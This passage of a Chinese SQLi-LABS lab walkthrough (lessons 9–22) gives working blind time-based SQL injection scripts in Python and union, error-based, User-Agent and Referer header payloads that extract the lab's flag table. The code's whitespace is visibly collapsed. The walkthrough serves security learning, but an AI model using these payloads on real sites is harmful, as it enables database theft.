  77. low =1
  78. hig =100for i inrange(low,hig):
  79. url1 = url + payload1.format(column_name=column_name,db_name=db_name,table_name=table_name,mid = i)if check_url(url1):
  80. data_num = i
  81. print("data num : ",data_num)breakdefshow_data_name(db_name:str,table_name:str,column_name:str):global data_list
  82. global data_num
  83. payload2 ="'and if(substr((select {column_name} from {db_name}.{table_name} limit {start},1),{begin},1)='{loc_key}',1,sleep(5))%23"for i inrange(data_num):
  84. name =''for j inrange(1,100):
  85. fg =1for it in p1:
  86. url2 = url + payload2.format(column_name=column_name,db_name=db_name,table_name=table_name,start = i,begin =j,loc_key = it)if check_url(url2):
  87. name = name + it
  88. fg =0breakprint(name)if fg:breakprint("ID: ",i+1,"place data_name: ",name)
  89. data_list.append(name)if __name__ =="__main__":
  90. count_db_num()
  91. show_db_name()
  92. check_id1 =int(input("请输入ID继续查看哪个数据库?请按照顺序输入,下标从 1 开始: "))if check_id1 <=0or check_id1 >len(db_list):print("input id is error !")
  93. exit(0)
  94. count_table_num(db_list[check_id1-1])
  95. show_table_name(db_list[check_id1-1])
  96. check_id2 =int(input("请输入ID继续查看哪个表?请按照顺序输入,下标从 1 开始: "))if check_id2 <=0or check_id2 >len(table_list):print("input id is error !")
  97. exit(0)
  98. count_column_num(table_list[check_id2-1])
  99. show_column_name(table_list[check_id2-1])
  100. check_id3 =int(input("请输入ID继续查看哪个列? 请按照顺序输入,下标从 1 开始:"))if check_id3 <=0or check_id3 >len(column_list):print("input id is error !")
  101. exit(0)
  102. count_data_num(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])print("喵喵喵?")
  103. show_data_name(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])

less10(基于GET双引号基于时间盲注)

从名字就能看出来和less9的区别就在于注入点是双引号,于是将上面的

  1. payload

改为双引号即可我,我这里就不多写了

less11(基于错误的POST单引号字符型注入)

从现在开始就是

  1. Post

类型的注入了,看到标题,我们其实就能发现只是一个简单的单引号字符型注入

在这里插入图片描述
于是我们输入

  1. 1'

发现有语法错误,然后加上

  1. 1'#

,发现正常了,于是这里存在注入,其实这里和

  1. less1

是一样的,只不过注入方式变成了

  1. POST

提交,于是我这里直接给出

  1. payload

  1. uname=1' union select 1,group_concat(flag) from ctftraining.flag#&passwd=&submit=Submit ctftraining.flag#&passwd=&submit=Submit

过程可以参考

  1. less1

的注入过程,如爆库、表、字段等操作

less12 (基于错误的POST双引号字符型注入)

这也没啥好说的,区别就在于注入点是双引号,注入流程可以参考

  1. less2

,我直接放

  1. payload

了:

  1. uname=1" union select 1,group_concat(flag) from ctftraining.flag#&passwd=&submit=Submit ctftraining.flag#

less13(基于POST单引号双注入变形)

通过测试我们能找到注入点大概是

  1. ')

然后够我们简单测试一下:

  1. 1') union select 1,2#

,发现并没有回显:

在这里插入图片描述
于是我们尝试报错注入:
在这里插入图片描述

发现报错信息是会回显的,于是我们参考

  1. less5

的报错注入流程然后进行注入,我这里也就直接放

  1. payload

  1. uname=1') union Select count(*),concat(0x23,0x23,(select flag from ctftraining.flag limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a#&passwd=&submit=Submit

在这里插入图片描述

less14(基于POST双引号双注入变形)

这里和

  1. less13

类似,只不过sql语句的闭合方式从

  1. ')

变成了

  1. "

,于是我这里直接上

  1. payload

  1. uname=1" union Select count(*),concat(0x23,0x23,(select flag from ctftraining.flag limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a#&passwd=&submit=Submit

在这里插入图片描述

less15(基于POST单引号布尔型时间盲注)

这里我们无论输入什么,都没有反馈信息,于是我们尝试盲注,我这里就直接放脚本了,大家可以改

  1. url

即可

  1. import requests
  2. import time
  3. import datetime
  4. import math
  5. import string
  6. import json
  7. """
  8. 【这个代码是一个POST时间类型的盲注】
  9. 需要注意的参数:
  10. 1.下面的payload是注入的方式
  11. 2.url是平台的地址
  12. 3.注意一下每一个show_xx_name中的字段名的长度,我上面几个是默认的30,
  13. 但是一般来说数据的部分就会藏有flag这个长度可能会很长,当然也不排除前面
  14. 的一些例如数据库名称或者是表的名称也很长
  15. 4.p1参数是盲注中可能会用到的字段名中的字母,你也可以直接用ascii码的可见长度,python有个自带的string.printable
  16. 即[33,126],其中48~57为0到9十个阿拉伯数字,65~90为26个大写英文字母,97~122号为26个小写英文字母
  17. """
  18. url ="http://cde645ef-4792-402b-986a-af1027326985.node4.buuoj.cn/Less-15/"
  19. p1 ="abcdefghijklmnopqrstuvwxyz0123456789}{-"
  20. payload="'and if((substr((select {column_name} from {db_name}.{table_name} limit {start},1),{begin},1))='{loc_key}',1,sleep(5))%23"
  21. dbnum =0
  22. db_list=[]
  23. table_num =0
  24. table_list =[]
  25. column_num =1
  26. column_list =[]
  27. data_num =0
  28. data_list =[]defcheck_url(url:str,data:dict):try:
  29. res = requests.post(url,data=data,timeout=3)returnTrueexcept Exception as e:returnFalsedefcount_db_num():global url
  30. global dbnum
  31. payload1 ="admin\'and if((select count(schema_name) from information_schema.schemata)={mid},1,sleep(5))#"
  32. low =1
  33. hig =100for i inrange(low,hig):
  34. url1 = url
  35. data={"uname":payload1.format(mid = i),"passwd":"admin","submit":"Submit"}if check_url(url1,data):
  36. dbnum = i
  37. print("database nums :",dbnum)breakdefshow_db_name():global db_list
  38. global dbnum
  39. global url
  40. payload2 ="admin\'and if(substr((select schema_name from information_schema.schemata limit {start},1),{begin},1)='{loc_key}',1,sleep(5))#"for i inrange(dbnum):
  41. name =''for j inrange(1,30):
  42. fg =1for it in p1:
  43. url2 = url
  44. data={"uname":payload2.format(start = i,begin =j,loc_key = it),"passwd":"admin","submit":"Submit"}# print(url2)# print(data)if check_url(url2,data):
  45. name = name + it
  46. fg =0breakprint(name)if fg:breakprint("ID: ",i+1,"place dbname: ",name)
  47. db_list.append(name)defcount_table_num(db_name:str):global table_num
  48. global url
  49. payload1 ="admin\'and if((select count(table_name) from information_schema.tables where table_schema = '{db_name}') = {mid},1,sleep(5) )#"
  50. low =1
  51. hig =100for i inrange(low,hig):
  52. url1 = url
  53. data={"uname":payload1.format(db_name=db_name,mid = i),"passwd":"admin","submit":"Submit"}if check_url(url1,data):
  54. table_num = i
  55. print("table nums : ",table_num)breakdefshow_table_name(db_name:str):global table_list
  56. global table_num
  57. global url
  58. payload2 ="admin\'and if(substr((select table_name from information_schema.tables where table_schema = '{db_name}' limit {start},1),{begin},1)='{loc_key}',1,sleep(5))#"for i inrange(table_num):
  59. name =''for j inrange(1,30):
  60. fg =1for it in p1:
  61. url2 = url
  62. data={"uname":payload2.format(db_name=db_name,start = i,begin =j,loc_key = it),"passwd":"admin","submit":"Submit"}if check_url(url2,data):
  63. name = name + it
  64. fg =0breakif fg:breakprint("ID: ",i+1,"place table_name: ",name)
  65. table_list.append(name)defcount_column_num(table_name:str):global column_num
  66. global url
  67. payload1 ="admin\'and if((select count(column_name) from information_schema.columns where table_name = '{table_name}') = {mid},1,sleep(5))#"
  68. low =1
  69. hig =30for i inrange(low,hig):
  70. url1 = url
  71. data={"uname":payload1.format(table_name=table_name,mid = i),"passwd":"admin","submit":"Submit"}if check_url(url1,data):
  72. column_num = i
  73. print("column num : ",column_num)breakdefshow_column_name(table_name:str):global column_list
  74. global column_num
  75. payload2 ="admin\'and if(substr((select column_name from information_schema.columns where table_name = '{table_name}' limit {start},1),{begin},1)='{loc_key}',1,sleep(5))#"for i inrange(column_num):
  76. name =''for j inrange(1,100):
  77. fg =1for it in p1:
  78. url2 = url
  79. data={"uname":payload2.format(table_name=table_name,start = i,begin =j,loc_key = it),"passwd":"admin","submit":"Submit"}if check_url(url2,data):
  80. name = name + it
  81. fg =0breakif fg:breakprint("ID: ",i+1,"place column_name: ",name)
  82. column_list.append(name)defcount_data_num(db_name:str,table_name:str,column_name:str):global data_num
  83. payload1 ="admin\'and if((select count({column_name}) from {db_name}.{table_name} limit 0,1) = {mid},1,sleep(5))#"
  84. low =1
  85. hig =100for i inrange(low,hig):
  86. url1 = url
  87. data={"uname":payload1.format(column_name=column_name,db_name=db_name,table_name=table_name,mid = i),"passwd":"admin","submit":"Submit"}if check_url(url1,data):
  88. data_num = i
  89. print("data num : ",data_num)breakdefshow_data_name(db_name:str,table_name:str,column_name:str):global data_list
  90. global data_num
  91. payload2 ="admin\'and if(substr((select {column_name} from {db_name}.{table_name} limit {start},1),{begin},1)='{loc_key}',1,sleep(5))#"for i inrange(data_num):
  92. name =''for j inrange(1,100):
  93. fg =1for it in p1:
  94. url2 = url
  95. data={"uname":payload2.format(column_name=column_name,db_name=db_name,table_name=table_name,start = i,begin =j,loc_key = it),"passwd":"admin","submit":"Submit"}if check_url(url2,data):
  96. name = name + it
  97. fg =0breakprint(name)if fg:breakprint("ID: ",i+1,"place data_name: ",name)
  98. data_list.append(name)if __name__ =="__main__":
  99. count_db_num()
  100. show_db_name()
  101. check_id1 =int(input("请输入ID继续查看哪个数据库?请按照顺序输入,下标从 1 开始: "))if check_id1 <=0or check_id1 >len(db_list):print("input id is error !")
  102. exit(0)
  103. count_table_num(db_list[check_id1-1])
  104. show_table_name(db_list[check_id1-1])
  105. check_id2 =int(input("请输入ID继续查看哪个表?请按照顺序输入,下标从 1 开始: "))if check_id2 <=0or check_id2 >len(table_list):print("input id is error !")
  106. exit(0)
  107. count_column_num(table_list[check_id2-1])
  108. show_column_name(table_list[check_id2-1])
  109. check_id3 =int(input("请输入ID继续查看哪个列? 请按照顺序输入,下标从 1 开始:"))if check_id3 <=0or check_id3 >len(column_list):print("input id is error !")
  110. exit(0)
  111. count_data_num(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])print("喵喵喵?")
  112. show_data_name(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])

less16(基于POST双引号布尔型时间盲注)

通过简单测试,我们发现和上面只不过是闭合方式不同,于是我们从

  1. '

改成

  1. "

即可,可以参照

  1. less15

的脚本

less17(基于POST错误的更新)

还是和之前一样,我们尝试在

  1. user name

处进行注入测试,发现没有用,只会返回一个

  1. bug

界面

在这里插入图片描述
于是我们尝试在密码框注入,我们发现这里存在单引号注入,并且报错会回显,于是我们尝试报错注入

在这里插入图片描述
我们发现联合注入不行,于是我们使用

  1. xpath

报错注入:

  1. uname=admin&passwd=1'and updatexml(1,concat(0x7e,(select user()),0x7e),1)#&submit=Submit

发现可以回显:

在这里插入图片描述

于是就跟着less5的步骤一步一步做即可,我这里直接给出

  1. flag

  1. payload

  1. uname=admin&passwd=1'and updatexml(1,concat(0x7e,mid((select flag from ctftraining.flag),1),0x7e),1)#&submit=Submit

在这里插入图片描述
我们发现只回显了

  1. 31

位,于是我们调整

  1. mid

参数即可获取后面的

  1. flag
  1. uname=admin&passwd=1'and updatexml(1,concat(0x7e,mid((select flag from ctftraining.flag),32),0x7e),1)#&submit=Submit

在这里插入图片描述

less18(基于POST错误的Uagent字段数据头注入)

这里我们同样进行测试,发现

  1. user name

  1. password

这两个框没有注入点,并且我们发现这里显示了一个

  1. ip

地址,应该是我们的

在这里插入图片描述
那么我们猜测是否在这里存在注入点,于是我们聚焦到

  1. x-forward-for

  1. X-Real-IP

上面,用bp发包自定义一些注入操作,但是我们发现并没有什么用,于是我们注意到这个页面登录账号失败会显示

  1. fail

,那么我们尝试弱密码爆破一下,然后得到了账号

  1. admin

的密码

  1. admin

,同时我们发现这里多了一行信息

在这里插入图片描述
于是我们猜测这里是否存在注入点,我们就在

  1. User-Agent

后面加一个

  1. '

发现这里存在注入,有一个报错的提示:

在这里插入图片描述

经过测试,我们发现是单引号闭合,并且

  1. #

没用,于是我们尝试报错盲注(当然你也可以去试试其他注入,比如联合,不过貌似没用,因为没有回显),闭合方式为:

  1. ' and '1' = '1

报错盲注:

  1. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1

我们可以看到反馈:

在这里插入图片描述

于是流程可以参照

  1. less5

,我这里就直接给出

  1. flag

  1. payload

了,这里的显示同样不全,需要我们通过字符串函数截取

  1. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0'and updatexml(1,concat(0x7e,mid((select flag from ctftraining.flag),1),0x7e),1) and '1' = '1

在这里插入图片描述

  1. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0'and updatexml(1,concat(0x7e,mid((select flag from ctftraining.flag),32),0x7e),1) and '1' = '1

在这里插入图片描述

less19(基于POST错误的Referer字段数据头注入)

和上面注入方式相同,只不过注入点变为了

  1. Referer

字段,我这里就直接给

  1. payload

了,流程参上~

  1. Referer: http://8eced883-dce2-4b9b-87a1-c0c547f7c3bd.node4.buuoj.cn/Less-19/'and updatexml(1,concat(0x7e,mid((select flag from ctftraining.flag),1),0x7e),1) and '1' = '1

在这里插入图片描述

  1. Referer: http://8eced883-dce2-4b9b-87a1-c0c547f7c3bd.node4.buuoj.cn/Less-19/'and updatexml(1,concat(0x7e,mid((select flag from ctftraining.flag),1),0x7e),32) and '1' = '1

在这里插入图片描述

less20(基于POST错误的Cookie-Uagent字段数据头注入)

我们直接登录

  1. admin

账号,然后发现给我们回显一个

  1. I LOVE YOU COOKIES

在这里插入图片描述
于是猜测

  1. cookies

有注入,不过这里笔者这里注入没效果,具体原因不详

在这里插入图片描述

大家可以看看别人的博客吧~http://wjhsh.net/AmoBlogs-p-8679819.html

less21 (基于base64编码单引号的Cookie注入)

看了其他大佬的题解,注入方式和上面相同,只不过,注入代码需要转为

  1. base64

才行

less22(基于base64编码加密的双引号Cookie注入)

这里需要注意闭合方式为双引号,以及需要

  1. base64

加密

参考博客

标签: 数据库 mysql php

本文转载自: https://blog.csdn.net/m0_46201544/article/details/127851636
版权归原作者 MangataTS 所有, 如有侵权,请联系我们删除。

“SQL注入【SQLi-LABS Page-1(Basic Challenges Less1-Less22)】”的评论:

还没有评论
关于作者
...
overfit同步小助手
文章同步